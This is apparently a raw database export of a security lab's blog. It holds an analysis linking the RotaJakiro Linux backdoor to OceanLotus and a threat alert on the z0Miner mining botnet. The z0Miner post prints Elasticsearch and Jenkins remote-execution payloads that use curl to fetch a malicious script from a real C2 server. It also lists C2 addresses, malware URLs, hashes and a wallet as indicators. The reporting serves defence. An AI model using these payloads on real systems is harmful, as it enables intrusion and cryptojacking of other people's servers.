原型相同，其中第1参数为实际的rotate对象，第2个参数为长度字段，第3个参数起控制作用。\n\n在实际使用中，例如在加密上线包的过程中，可以看到，双头龙和海莲花使用了一样的参数。\n<img src=\"__GHOST_URL__/content/images/2021/05/rotatecmp.png\" width=\"860px\" />\n\n## 相似点4：相同的指令码\n双头龙和海莲花都用```DWORD类型的指令码```来指定消息的功能，并且共享了多个语义相同的指令码，部分有特色的指令如下表所示：\n\n| Cmd | Function |\n| --------- | ------------------------------------------------- |\n| 0x18320e0 | Upload device Info |\n| 0x2170272 | Register |\n| 0x1B25503 | execute function from a plugin(a aynamic library) |\n| 0x1532e65 | execute function from a plugin(a aynamic library) |\n| 0x25D5082 | execute function from a plugin(a aynamic library) |\n这种相似显然不能用巧合来解释了，这是它们代码同源的极强证据。\n\n## 总结\n双头龙与MAC版的海莲花木马虽然是用不同语言实现的，但是它们在**功能和消息格式设计上的相似，在具体实现上的雷同**，已经不能用巧合来解释了。从目前的线索来看，双头龙极大可能是由海莲化组织开发的Linux后门木马，很可能就是Linux版本的海莲花。\n\n感谢社区提供的各种线索，让我们一起```Make Cyber Security Great Again```。\n## 引用\nhttps://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 609254d43819e500076339e9 |
post | null | 2021-05-06T12:47:40.000Z | 63873b9a8b1c1e0007f52fbc | rotajakiro_linux_version_of_oceanlotus | 0 | 2021-05-06T14:07:04.000Z | public | published | null | 2021-05-06T13:29:26.000Z | RotaJakiro, the Linux version of the OceanLotus | <!--kg-card-begin: markdown--><p>On Apr 28, we published our <a href="__GHOST_URL__/stealth_rotajakiro_backdoor_en/"><strong>RotaJakiro</strong></a> backdoor blog, at that time, we didn’t have the answer for a very important question, what is this backdoor exactly for? We asked the community for clues and two days ago we got a hint, <code>PE</code>(Thanks!) wrote the following comment on our blog post.<br>
<img src="__GHOST_URL__/content/images/2021/05/--.png" width="860px" /><br>
The <a href="https://www.virustotal.com/gui/file/b33370167853330704945684c50ce0af6eb27838e1e3f88ea457d2c88a223d8b/detection">sample</a> mentioned in the message is a zip packing file, which has appeared in 2016. The zip contains multiple files, the Mach-O format executable file named <code>Noi dung chi tiet</code> (translated to <code>detailed information</code>) is the OceanLotus sample. When we compare the this file with the RotaJakiro sample, we noticed there are multiple similarities and it is <code>VERY likely</code> that this is <strong>the Linux version of the OceanLotus</strong>.</p>
<h2 id="similarity1functionforc2sessioncreation">Similarity 1: Function for C2 session creation</h2>
<p>The common domain name resolution function for Linux is <code>gethostbyname()</code>, but RotaJakiro uses the relatively niche <code>getaddrinfo()</code> function. C2 domain name resolution and session establishment are performed in one function, this is also used by the the OceanLotus sample. The comparison of the 2 functions is as follows.<br>
<img src="__GHOST_URL__/content/images/2021/05/init_c2_session_comparison.png" width="860px" /><br>
It can be seen that they not only have the same function, but also use <code>sprintf() and getaddrinfo()</code> in almost exactly the same way. In addition, both RotaJakiro and OceanLotus use separate data structures to hold C2 session information, such as <code>socket fd, whether active, timeout</code>, etc., and their data structures are also very similar.<br>
<img src="__GHOST_URL__/content/images/2021/05/c2confcmp.png" width="860px" /></p>
<h2 id="similarity2registrationpacketconstructionmethod">Similarity 2: registration packet construction method</h2>
<p>The network packets of both RotaJakiro and OceanLotus are composed of<code> Head, Key, and Payload</code>, of which Head is mandatory and has a length of 82 bytes, while Key and Payload are optional.</p>
<ul>
<li>Offset 1, type DWORD, which holds a magic.</li>
<li>Offset 9, type DWORD, holding the length of the Payload.</li>
<li>Offset 13, type WORD, holding the Key length.</li>
<li>Offset 15, type DWORD, holds the message code.</li>
</ul>
<p>The RotaJakiro initializes the Head of the registration packets with a separate function.<br>
<img src="__GHOST_URL__/content/images/2021/05/register_init_rota-1.png" alt="register_init_rota-1" loading="lazy"><br>
This function first calls the malloc() function to dynamically allocate memory for the registrationpacket, then calls the time()/srand()/rand() function in turn to generate a random character and then assign it to the first field of the registration packet, and the remaining large swath of code is to assign values to the remaining fields one by one with multiple constants, so the most obvious feature of this function is to <code>initialize the registration packet with multiple constants</code>.<br>
There is also a function in the OceanLotus sample that is dedicated to initializing the Head of the registration packets.<br>
<img src="__GHOST_URL__/content/images/2021/05/register_init_ocean.png" alt="register_init_ocean" loading="lazy"><br>
This function has no code for memory allocation and random character generation, and the whole function uses multiple constants to assign values to specific fields of the registration packet one by one, <code>exactly like the RotaJakiro</code>. In addition, OceanLotus shares the same field values with RotaJakiro at offsets 1, 24 and 75, especially the magic at offset 1 is <code>0x3B91011</code>, which is hard to describe as a coincidence, so it greatly increases the probability that these two pieces of code are the same origin. In addition, both the RotaJakiro and the OceanLotus have assigned message codes to the registration packets, and both are <code>0x2170272</code>:<br>
<img src="__GHOST_URL__/content/images/2021/05/regpkgcmp.png" width="860px" /><br>
The resulting registration packets is also very similar, and the RotaJakiro registration packets is as follows.<br>
<img src="__GHOST_URL__/content/images/2021/05/regcmp_rota.png" width="724px" /><br>
The following is the OceanLotus registration packets analyzed by <a href="https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/">PAN</a> in 2017.<br>
<img src="__GHOST_URL__/content/images/2021/05/regcmp_ocean.png" alt="regcmp_ocean" loading="lazy"><br>
The decrypted registration packets for the RotaJakiro is shown below.<br>
<img src="__GHOST_URL__/content/images/2021/05/pkgcmd_rota.png" width="834px" /><br>
The following is the OceanLotus plaintext registration packets from <a href="https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/">PAN</a>'s analysis.<br>
<img src="__GHOST_URL__/content/images/2021/05/pkgcmp_ocean.png" alt="pkgcmp_ocean" loading="lazy"><br>
You can see that they have the same plaintext structure and basically the same key field values.</p>
<h2 id="similarity3rotatefunction">Similarity 3: rotate function</h2>
<p>Both RotaJakiro and OceanLotus have a function we called <code>rotate()</code> for encryption/decryption, the rotate function of RotaJakiro is as follows.<br>
<img src="__GHOST_URL__/content/images/2021/05/rotate_rota.png" alt="rotate_rota" loading="lazy"><br>
For OceanLotus<br>
<img src="__GHOST_URL__/content/images/2021/05/rotate_ocea.png" alt="rotate_ocea" loading="lazy"><br>
It is easy to see the commonalities between them.</p>
<ol>
<li>Both accept 3 parameters.</li>
<li>The prototype is the same, where the first parameter is the actual rotate object, the second parameter is the length field, and the third parameter plays a control role.</li>
</ol>
<p>In actual use, for example, in the process of encrypting the registration packets, you can see that the RotaJakiro and the OceanLotus <code>use the same parameters</code>.<br>
<img src="__GHOST_URL__/content/images/2021/05/rotatecmp.png" width="860px" /></p>
<h2 id="similarity4sameinstructioncode">Similarity 4: Same instruction code</h2>
<p>Both RotaJakiro and OceanLotus use DWORD type instruction codes to specify the function of the message, and share several semantically identical instruction codes, some of which are featured as shown in the following table.</p>
<table>
<thead>
<tr>
<th>Cmd</th>
<th>Function</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x18320e0</td>
<td>Upload device Info</td>
</tr>
<tr>
<td>0x2170272</td>
<td>Register</td>
</tr>
<tr>
<td>0x1B25503</td>
<td>execute function from a plugin(a aynamic library)</td>
</tr>
<tr>
<td>0x1532e65</td>
<td>execute function from a plugin(a aynamic library)</td>
</tr>
<tr>
<td>0x25D5082</td>
<td>execute function from a plugin(a aynamic library)</td>
</tr>
<tr>
<td>This similarity obviously cannot be explained by coincidence, <strong>it is an extremely strong evidence of their code homology</strong>.</td>
<td></td>
</tr>
</tbody>
</table>
<h2 id="summary">Summary</h2>
<p>Although the RotaJakiro and the Mac version of the OceanLotus are implemented in different languages, their similarity in function and message format design, and their similarity in specific implementation, can no longer be explained by coincidence. <strong>It is highly likely that RotaJakiro is a Linux version of the OceanLotus.</strong></p>
<!--kg-card-end: markdown--> | On Apr 28, we published our RotaJakiro backdoor blog, at that time, we didn’t have the answer for a very important question, what is this backdoor exactly for? We asked the community for clues and two days ago we got a hint, PE(Thanks!) wrote the following comment on our blog post.
The sample mentioned in the message is a zip packing file, which has appeared in 2016. The zip contains multiple files, the Mach-O format executable file named Noi dung chi tiet (translated to detailed information) is the OceanLotus sample. When we compare the this file with the RotaJakiro sample, we noticed there are multiple similarities and it is VERY likely that this is the Linux version of the OceanLotus.
Similarity 1: Function for C2 session creation
The common domain name resolution function for Linux is gethostbyname(), but RotaJakiro uses the relatively niche getaddrinfo() function. C2 domain name resolution and session establishment are performed in one function, this is also used by the the OceanLotus sample. The comparison of the 2 functions is as follows.
It can be seen that they not only have the same function, but also use sprintf() and getaddrinfo() in almost exactly the same way. In addition, both RotaJakiro and OceanLotus use separate data structures to hold C2 session information, such as socket fd, whether active, timeout, etc., and their data structures are also very similar.
Similarity 2: registration packet construction method
The network packets of both RotaJakiro and OceanLotus are composed of Head, Key, and Payload, of which Head is mandatory and has a length of 82 bytes, while Key and Payload are optional.
* Offset 1, type DWORD, which holds a magic.
* Offset 9, type DWORD, holding the length of the Payload.
* Offset 13, type WORD, holding the Key length.
* Offset 15, type DWORD, holds the message code.
The RotaJakiro initializes the Head of the registration packets with a separate function.
This function first calls the malloc() function to dynamically allocate memory for the registrationpacket, then calls the time()/srand()/rand() function in turn to generate a random character and then assign it to the first field of the registration packet, and the remaining large swath of code is to assign values to the remaining fields one by one with multiple constants, so the most obvious feature of this function is to initialize the registration packet with multiple constants.
There is also a function in the OceanLotus sample that is dedicated to initializing the Head of the registration packets.
This function has no code for memory allocation and random character generation, and the whole function uses multiple constants to assign values to specific fields of the registration packet one by one, exactly like the RotaJakiro. In addition, OceanLotus shares the same field values with RotaJakiro at offsets 1, 24 and 75, especially the magic at offset 1 is 0x3B91011, which is hard to describe as a coincidence, so it greatly increases the probability that these two pieces of code are the same origin. In addition, both the RotaJakiro and the OceanLotus have assigned message codes to the registration packets, and both are 0x2170272:
The resulting registration packets is also very similar, and the RotaJakiro registration packets is as follows.
The following is the OceanLotus registration packets analyzed by PAN in 2017.
The decrypted registration packets for the RotaJakiro is shown below.
The following is the OceanLotus plaintext registration packets from PAN's analysis.
You can see that they have the same plaintext structure and basically the same key field values.
Similarity 3: rotate function
Both RotaJakiro and OceanLotus have a function we called rotate() for encryption/decryption, the rotate function of RotaJakiro is as follows.
For OceanLotus
It is easy to see the commonalities between them.
1. Both accept 3 parameters.
2. The prototype is the same, where the first parameter is the actual rotate object, the second parameter is the length field, and the third parameter plays a control role.
In actual use, for example, in the process of encrypting the registration packets, you can see that the RotaJakiro and the OceanLotus use the same parameters.
Similarity 4: Same instruction code
Both RotaJakiro and OceanLotus use DWORD type instruction codes to specify the function of the message, and share several semantically identical instruction codes, some of which are featured as shown in the following table.
Cmd
Function
0x18320e0
Upload device Info
0x2170272
Register
0x1B25503
execute function from a plugin(a aynamic library)
0x1532e65
execute function from a plugin(a aynamic library)
0x25D5082
execute function from a plugin(a aynamic library)
This similarity obviously cannot be explained by coincidence, it is an extremely strong evidence of their code homology.
Summary
Although the RotaJakiro and the Mac version of the OceanLotus are implemented in different languages, their similarity in function and message format design, and their similarity in specific implementation, can no longer be explained by coincidence. It is highly likely that RotaJakiro is a Linux version of the OceanLotus.
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"On Apr 28, we published our [**RotaJakiro**](__GHOST_URL__/stealth_rotajakiro_backdoor_en/) backdoor blog, at that time, we didn’t have the answer for a very important question, what is this backdoor exactly for? We asked the community for clues and two days ago we got a hint, ```PE```(Thanks!) wrote the following comment on our blog post.\n<img src=\"__GHOST_URL__/content/images/2021/05/--.png\" width=\"860px\" />\nThe [sample](https://www.virustotal.com/gui/file/b33370167853330704945684c50ce0af6eb27838e1e3f88ea457d2c88a223d8b/detection) mentioned in the message is a zip packing file, which has appeared in 2016. The zip contains multiple files, the Mach-O format executable file named ```Noi dung chi tiet``` (translated to ```detailed information```) is the OceanLotus sample. When we compare the this file with the RotaJakiro sample, we noticed there are multiple similarities and it is ```VERY likely``` that this is **the Linux version of the OceanLotus**.\n## Similarity 1: Function for C2 session creation\nThe common domain name resolution function for Linux is ```gethostbyname()```, but RotaJakiro uses the relatively niche ```getaddrinfo()``` function. C2 domain name resolution and session establishment are performed in one function, this is also used by the the OceanLotus sample. The comparison of the 2 functions is as follows.\n<img src=\"__GHOST_URL__/content/images/2021/05/init_c2_session_comparison.png\" width=\"860px\" />\nIt can be seen that they not only have the same function, but also use ```sprintf() and getaddrinfo()``` in almost exactly the same way. In addition, both RotaJakiro and OceanLotus use separate data structures to hold C2 session information, such as ```socket fd, whether active, timeout```, etc., and their data structures are also very similar.\n<img src=\"__GHOST_URL__/content/images/2021/05/c2confcmp.png\" width=\"860px\" />\n## Similarity 2: registration packet construction method\nThe network packets of both RotaJakiro and OceanLotus are composed of``` Head, Key, and Payload```, of which Head is mandatory and has a length of 82 bytes, while Key and Payload are optional.\n- Offset 1, type DWORD, which holds a magic.\n- Offset 9, type DWORD, holding the length of the Payload.\n- Offset 13, type WORD, holding the Key length.\n- Offset 15, type DWORD, holds the message code.\n\nThe RotaJakiro initializes the Head of the registration packets with a separate function.\n\nThis function first calls the malloc() function to dynamically allocate memory for the registrationpacket, then calls the time()/srand()/rand() function in turn to generate a random character and then assign it to the first field of the registration packet, and the remaining large swath of code is to assign values to the remaining fields one by one with multiple constants, so the most obvious feature of this function is to ```initialize the registration packet with multiple constants```.\nThere is also a function in the OceanLotus sample that is dedicated to initializing the Head of the registration packets.\n\nThis function has no code for memory allocation and random character generation, and the whole function uses multiple constants to assign values to specific fields of the registration packet one by one, ```exactly like the RotaJakiro```. In addition, OceanLotus shares the same field values with RotaJakiro at offsets 1, 24 and 75, especially the magic at offset 1 is ```0x3B91011```, which is hard to describe as a coincidence, so it greatly increases the probability that these two pieces of code are the same origin. In addition, both the RotaJakiro and the OceanLotus have assigned message codes to the registration packets, and both are ```0x2170272```:\n<img src=\"__GHOST_URL__/content/images/2021/05/regpkgcmp.png\" width=\"860px\" />\nThe resulting registration packets is also very similar, and the RotaJakiro registration packets is as follows.\n<img src=\"__GHOST_URL__/content/images/2021/05/regcmp_rota.png\" width=\"724px\" />\nThe following is the OceanLotus registration packets analyzed by [PAN](https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/) in 2017.\n\nThe decrypted registration packets for the RotaJakiro is shown below.\n<img src=\"__GHOST_URL__/content/images/2021/05/pkgcmd_rota.png\" width=\"834px\" />\nThe following is the OceanLotus plaintext registration packets from [PAN](https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/)'s analysis.\n\nYou can see that they have the same plaintext structure and basically the same key field values.\n## Similarity 3: rotate function\nBoth RotaJakiro and OceanLotus have a function we called ```rotate()``` for encryption/decryption, the rotate function of RotaJakiro is as follows.\n\nFor OceanLotus\n\nIt is easy to see the commonalities between them.\n 1. Both accept 3 parameters.\n 2. The prototype is the same, where the first parameter is the actual rotate object, the second parameter is the length field, and the third parameter plays a control role.\n\nIn actual use, for example, in the process of encrypting the registration packets, you can see that the RotaJakiro and the OceanLotus ```use the same parameters```.\n<img src=\"__GHOST_URL__/content/images/2021/05/rotatecmp.png\" width=\"860px\" />\n## Similarity 4: Same instruction code\nBoth RotaJakiro and OceanLotus use DWORD type instruction codes to specify the function of the message, and share several semantically identical instruction codes, some of which are featured as shown in the following table.\n| Cmd | Function |\n| --------- | ------------------------------------------------- |\n| 0x18320e0 | Upload device Info |\n| 0x2170272 | Register |\n| 0x1B25503 | execute function from a plugin(a aynamic library) |\n| 0x1532e65 | execute function from a plugin(a aynamic library) |\n| 0x25D5082 | execute function from a plugin(a aynamic library) |\nThis similarity obviously cannot be explained by coincidence, **it is an extremely strong evidence of their code homology**.\n## Summary\nAlthough the RotaJakiro and the Mac version of the OceanLotus are implemented in different languages, their similarity in function and message format design, and their similarity in specific implementation, can no longer be explained by coincidence. **It is highly likely that RotaJakiro is a Linux version of the OceanLotus.**"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 6093e56c3819e50007633c8e |
post | null | 2021-05-08T04:23:18.000Z | 63873b9a8b1c1e0007f52fbd | threat-alert-z0miner-is-spreading-quickly-by-exploiting-elasticsearch-and-jenkins-vulnerabilities | 0 | 2021-05-08T04:40:29.000Z | public | published | null | 2021-03-08T04:34:00.000Z | Threat Alert: z0Miner Is Spreading quickly by Exploiting ElasticSearch and Jenkins Vulnerabilities | <h2 id="overview"><strong>Overview</strong></h2><p>In recent months, with the huge rise of Bitcoin and Monroe, various mining botnet have kicked into high gear, and our BotMon system detects dozens of mining Botnet attacks pretty much every day, most of them are old families, some just changed their wallets or propagation methods, and z0Miner is one of them.</p><p>z0Miner is a malicious mining family that became active last year and has been publicly analyzed by the <a href="https://s.tencent.com/research/report/1170.html">Tencent Security Team</a>. z0Miner was initially active when it exploited the Weblogic unauthorized remote command execution vulnerability for propagation.</p><p>Recently, our Anglerfish honeypot system captured that z0Miner was also spreading by exploiting remote command execution vulnerabilities in ElasticSearch and Jenkins, with the following recent active trends.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2021/03/status-1.png" class="kg-image" alt loading="lazy"><figcaption>z0Miner recent active trends</figcaption></figure><h2 id="vulnerability-exploit"><strong>Vulnerability exploit</strong></h2><h3 id="elasticsearch-rce-vulnerability-cve-2015-1427"><strong>ElasticSearch RCE vulnerability CVE-2015-1427</strong></h3><p>Although it is an old vulnerability from 2015, z0Miner is still using it. The vulnerability exploit Payload is as follows (key details have been omitted).</p><pre><code>POST /{VULN_URI} HTTP/1.1
Host: {target}:{port}
{...exec(\"curl -fsSL http://27.1.1.34:8080/docs/conf.txt -o /tmp/baby\")...}
</code></pre><h3 id="jenkins-script-console-rce-vulnerability"><strong>Jenkins script console RCE vulnerability</strong></h3><p>This vulnerability was exposed a bit earlier than CVE-2015-1427 above, and the corresponding z0Miner Payload is</p><pre><code>POST /{VULN_URI} HTTP/1.1
Host: {target}:{port}
curl+-fsSL+http%3A%2F%2F27.1.1.34:8080%2Fdocs%2Fconf.txt+-o+%2Ftmp%2Fsolr%22.execute%28%29.text&json=%7B%22script%22%3A+%22println+%5C%22curl+-fsSL+http%3A%2F%2F27.1.1.34:8080%2Fdocs%2Fconf.txt+-o+%2Ftmp%2Fsolr%5C%22.execute%28%29.text%22%2C+%22%22%3A+%22%22%7D&Submit=Run
</code></pre><h2 id="sample-analysis"><strong>Sample Analysis</strong></h2><h3 id="initial-shell-script"><strong>Initial Shell Script</strong></h3><p>The core logic of the Payloads exploited by the above two vulnerabilities is to download <code>hxxp://27.1.1.34:8080/docs/conf.txt</code> and execute it. This file is a malicious shell script that corresponds to z0Miner's earlier <strong>z0.txt</strong>. The logic is essentially the same as in the earlier z0.txt</p><ol><li>Kill the competitor</li><li>Setting up Cron</li><li>Download & execute the mining programs</li></ol><h3 id="cron"><strong>Cron</strong></h3><p>As in the early days, z0Miner will still download and execute malicious scripts on Pastebin periodically by setting up Cron tasks, the latest malicious script URLs are as follows.</p><pre><code>hxxps://pastebin.com/raw/4rb51qKW
hxxps://pastebin.com/raw/bwD1BCXt
</code></pre><p>Currently, the script downloaded from the above URL only contains an <code>exit</code> command, and more malicious actions probably will be added in the future.</p><h3 id="mining"><strong>Mining</strong></h3><p>After killing competitors and setting up crontab, <strong>conf.txt</strong> will download the mining kit from the following 3 URLs and start mining.</p><pre><code>hxxp://27.1.1.34:8080/docs/config.json --> Mining Config file
hxxp://178.62.202.152:8080/Wuck/java.exe --> XMRig Miner
hxxp://27.1.1.34:8080/docs/solr.sh --> Miner Starter Shell script file
</code></pre><p>The <strong>solr.sh</strong> file is a shell script file dedicated to killing more competitors and starting the mining program.</p><p>The XMR Wallet in the <strong>config.json</strong> file differs from the earlier z0Miner Wallet:</p><pre><code>49r6Mp1fcb4fUT5FPTgaz9E47fZV7n6JiY76c4vdBZvgDm8GmWHTVYM9Azpe4MsA9oXs2RpUNPPfH7oXABr3QnwNQKaP2W7
</code></pre><p>And now reads over 22 XMRs have been mined so far.</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/03/xmr_paid-1.png" class="kg-image" alt loading="lazy"></figure><h3 id="contact-us"><strong><strong>Contact us</strong></strong></h3><p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab"><strong><strong>twitter</strong></strong></a>, or email to netlab at 360<br>dot cn.</p><h2 id="ioc"><strong>IoC</strong></h2><h3 id="cc"><strong>C&C</strong></h3><pre><code>27.1.1.34:8080 Republic_of_Korea|Seoul ASN9943|KangNam_CableTV
178.62.202.152:8080 Netherlands|North_Holland|Amsterdam ASN14061|DigitalOcean
</code></pre><h3 id="url"><strong>URL</strong></h3><pre><code>hxxp://27.1.1.34:8080/docs/conf.txt
hxxps://pastebin.com/raw/4rb51qKW
hxxps://pastebin.com/raw/bwD1BCXt
hxxp://27.1.1.34:8080/docs/config.json
hxxp://178.62.202.152:8080/Wuck/java.exe
hxxp://178.62.202.152:8080/Wuck/xmrig.exe
hxxp://27.1.1.34:8080/docs/solr.sh
</code></pre><h3 id="md5"><strong>MD5</strong></h3><pre><code>84417ff134484bb8ce4ff567574beaa5
c1dcc75d729e31833892cb649f450568
adb190c4e90cc61ca266cfda355826df
d833fc2ced5d0791a404ced14ecf4e20
26a91e9a94c7f8d966de1541095a3d92
373b018bef17e04d8ff29472390403f9
</code></pre><h3 id="xrm-wallet"><strong>XRM Wallet</strong></h3><pre><code>49r6Mp1fcb4fUT5FPTgaz9E47fZV7n6JiY76c4vdBZvgDm8GmWHTVYM9Azpe4MsA9oXs2RpUNPPfH7oXABr3QnwNQKaP2W7</code></pre> | Overview
In recent months, with the huge rise of Bitcoin and Monroe, various mining botnet have kicked into high gear, and our BotMon system detects dozens of mining Botnet attacks pretty much every day, most of them are old families, some just changed their wallets or propagation methods, and z0Miner is one of them.
z0Miner is a malicious mining family that became active last year and has been publicly analyzed by the Tencent Security Team. z0Miner was initially active when it exploited the Weblogic unauthorized remote command execution vulnerability for propagation.
Recently, our Anglerfish honeypot system captured that z0Miner was also spreading by exploiting remote command execution vulnerabilities in ElasticSearch and Jenkins, with the following recent active trends.
Vulnerability exploit
ElasticSearch RCE vulnerability CVE-2015-1427
Although it is an old vulnerability from 2015, z0Miner is still using it. The vulnerability exploit Payload is as follows (key details have been omitted).
POST /{VULN_URI} HTTP/1.1
Host: {target}:{port}
{...exec(\"curl -fsSL http://27.1.1.34:8080/docs/conf.txt -o /tmp/baby\")...}
Jenkins script console RCE vulnerability
This vulnerability was exposed a bit earlier than CVE-2015-1427 above, and the corresponding z0Miner Payload is
POST /{VULN_URI} HTTP/1.1
Host: {target}:{port}
curl+-fsSL+http%3A%2F%2F27.1.1.34:8080%2Fdocs%2Fconf.txt+-o+%2Ftmp%2Fsolr%22.execute%28%29.text&json=%7B%22script%22%3A+%22println+%5C%22curl+-fsSL+http%3A%2F%2F27.1.1.34:8080%2Fdocs%2Fconf.txt+-o+%2Ftmp%2Fsolr%5C%22.execute%28%29.text%22%2C+%22%22%3A+%22%22%7D&Submit=Run
Sample Analysis
Initial Shell Script
The core logic of the Payloads exploited by the above two vulnerabilities is to download hxxp://27.1.1.34:8080/docs/conf.txt and execute it. This file is a malicious shell script that corresponds to z0Miner's earlier z0.txt. The logic is essentially the same as in the earlier z0.txt
1. Kill the competitor
2. Setting up Cron
3. Download & execute the mining programs
Cron
As in the early days, z0Miner will still download and execute malicious scripts on Pastebin periodically by setting up Cron tasks, the latest malicious script URLs are as follows.
hxxps://pastebin.com/raw/4rb51qKW
hxxps://pastebin.com/raw/bwD1BCXt
Currently, the script downloaded from the above URL only contains an exit command, and more malicious actions probably will be added in the future.
Mining
After killing competitors and setting up crontab, conf.txt will download the mining kit from the following 3 URLs and start mining.
hxxp://27.1.1.34:8080/docs/config.json --> Mining Config file
hxxp://178.62.202.152:8080/Wuck/java.exe --> XMRig Miner
hxxp://27.1.1.34:8080/docs/solr.sh --> Miner Starter Shell script file
The solr.sh file is a shell script file dedicated to killing more competitors and starting the mining program.
The XMR Wallet in the config.json file differs from the earlier z0Miner Wallet:
49r6Mp1fcb4fUT5FPTgaz9E47fZV7n6JiY76c4vdBZvgDm8GmWHTVYM9Azpe4MsA9oXs2RpUNPPfH7oXABr3QnwNQKaP2W7
And now reads over 22 XMRs have been mined so far.
Contact us
Readers are always welcomed to reach us on twitter, or email to netlab at 360
dot cn.
IoC
C&C
27.1.1.34:8080 Republic_of_Korea|Seoul ASN9943|KangNam_CableTV
178.62.202.152:8080 Netherlands|North_Holland|Amsterdam ASN14061|DigitalOcean
URL
hxxp://27.1.1.34:8080/docs/conf.txt
hxxps://pastebin.com/raw/4rb51qKW
hxxps://pastebin.com/raw/bwD1BCXt
hxxp://27.1.1.34:8080/docs/config.json
hxxp://178.62.202.152:8080/Wuck/java.exe
hxxp://178.62.202.152:8080/Wuck/xmrig.exe
hxxp://27.1.1.34:8080/docs/solr.sh
MD5
84417ff134484bb8ce4ff567574beaa5
c1dcc75d729e31833892cb649f450568
adb190c4e90cc61ca266cfda355826df
d833fc2ced5d0791a404ced14ecf4e20
26a91e9a94c7f8d966de1541095a3d92
373b018bef17e04d8ff29472390403f9
XRM Wallet
49r6Mp1fcb4fUT5FPTgaz9E47fZV7n6JiY76c4vdBZvgDm8GmWHTVYM9Azpe4MsA9oXs2RpUNPPfH7oXABr3QnwNQKaP2W7 | {"version":"0.3.1","atoms":[["soft-return","",{}]],"cards":[["image",{"src":"__GHOST_URL__/content/images/2021/03/status-1.png","alt":"","title":"","caption":"z0Miner recent active trends"}],["code",{"code":"POST /{VULN_URI} HTTP/1.1\nHost: {target}:{port}\n\n{...exec(\\\"curl -fsSL http://27.1.1.34:8080/docs/conf.txt -o /tmp/baby\\\")...}\n"}],["code",{"code":"POST /{VULN_URI} HTTP/1.1\nHost: {target}:{port}\n\ncurl+-fsSL+http%3A%2F%2F27.1.1.34:8080%2Fdocs%2Fconf.txt+-o+%2Ftmp%2Fsolr%22.execute%28%29.text&json=%7B%22script%22%3A+%22println+%5C%22curl+-fsSL+http%3A%2F%2F27.1.1.34:8080%2Fdocs%2Fconf.txt+-o+%2Ftmp%2Fsolr%5C%22.execute%28%29.text%22%2C+%22%22%3A+%22%22%7D&Submit=Run\n"}],["code",{"code":"hxxps://pastebin.com/raw/4rb51qKW\nhxxps://pastebin.com/raw/bwD1BCXt\n"}],["code",{"code":"hxxp://27.1.1.34:8080/docs/config.json --> Mining Config file\nhxxp://178.62.202.152:8080/Wuck/java.exe --> XMRig Miner\nhxxp://27.1.1.34:8080/docs/solr.sh --> Miner Starter Shell script file\n"}],["code",{"code":"49r6Mp1fcb4fUT5FPTgaz9E47fZV7n6JiY76c4vdBZvgDm8GmWHTVYM9Azpe4MsA9oXs2RpUNPPfH7oXABr3QnwNQKaP2W7\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/03/xmr_paid-1.png","alt":"","title":""}],["code",{"code":"27.1.1.34:8080 Republic_of_Korea|Seoul ASN9943|KangNam_CableTV\n178.62.202.152:8080 Netherlands|North_Holland|Amsterdam ASN14061|DigitalOcean\n"}],["code",{"code":"hxxp://27.1.1.34:8080/docs/conf.txt\nhxxps://pastebin.com/raw/4rb51qKW\nhxxps://pastebin.com/raw/bwD1BCXt\nhxxp://27.1.1.34:8080/docs/config.json\nhxxp://178.62.202.152:8080/Wuck/java.exe\nhxxp://178.62.202.152:8080/Wuck/xmrig.exe\nhxxp://27.1.1.34:8080/docs/solr.sh\n"}],["code",{"code":"84417ff134484bb8ce4ff567574beaa5\nc1dcc75d729e31833892cb649f450568\nadb190c4e90cc61ca266cfda355826df\nd833fc2ced5d0791a404ced14ecf4e20\n26a91e9a94c7f8d966de1541095a3d92\n373b018bef17e04d8ff29472390403f9\n"}],["code",{"code":"49r6Mp1fcb4fUT5FPTgaz9E47fZV7n6JiY76c4vdBZvgDm8GmWHTVYM9Azpe4MsA9oXs2RpUNPPfH7oXABr3QnwNQKaP2W7"}]],"markups":[["strong"],["a",["href","https://s.tencent.com/research/report/1170.html"]],["code"],["a",["href","https://twitter.com/360Netlab"]]],"sections":[[1,"h2",[[0,[0],1,"Overview"]]],[1,"p",[[0,[],0,"In recent months, with the huge rise of Bitcoin and Monroe, various mining botnet have kicked into high gear, and our BotMon system detects dozens of mining Botnet attacks pretty much every day, most of them are old families, some just changed their wallets or propagation methods, and z0Miner is one of them."]]],[1,"p",[[0,[],0,"z0Miner is a malicious mining family that became active last year and has been publicly analyzed by the "],[0,[1],1,"Tencent Security Team"],[0,[],0,". z0Miner was initially active when it exploited the Weblogic unauthorized remote command execution vulnerability for propagation."]]],[1,"p",[[0,[],0,"Recently, our Anglerfish honeypot system captured that z0Miner was also spreading by exploiting remote command execution vulnerabilities in ElasticSearch and Jenkins, with the following recent active trends."]]],[10,0],[1,"h2",[[0,[0],1,"Vulnerability exploit"]]],[1,"h3",[[0,[0],1,"ElasticSearch RCE vulnerability CVE-2015-1427"]]],[1,"p",[[0,[],0,"Although it is an old vulnerability from 2015, z0Miner is still using it. The vulnerability exploit Payload is as follows (key details have been omitted)."]]],[10,1],[1,"h3",[[0,[0],1,"Jenkins script console RCE vulnerability"]]],[1,"p",[[0,[],0,"This vulnerability was exposed a bit earlier than CVE-2015-1427 above, and the corresponding z0Miner Payload is"]]],[10,2],[1,"h2",[[0,[0],1,"Sample Analysis"]]],[1,"h3",[[0,[0],1,"Initial Shell Script"]]],[1,"p",[[0,[],0,"The core logic of the Payloads exploited by the above two vulnerabilities is to download "],[0,[2],1,"hxxp://27.1.1.34:8080/docs/conf.txt"],[0,[],0," and execute it. This file is a malicious shell script that corresponds to z0Miner's earlier "],[0,[0],1,"z0.txt"],[0,[],0,". The logic is essentially the same as in the earlier 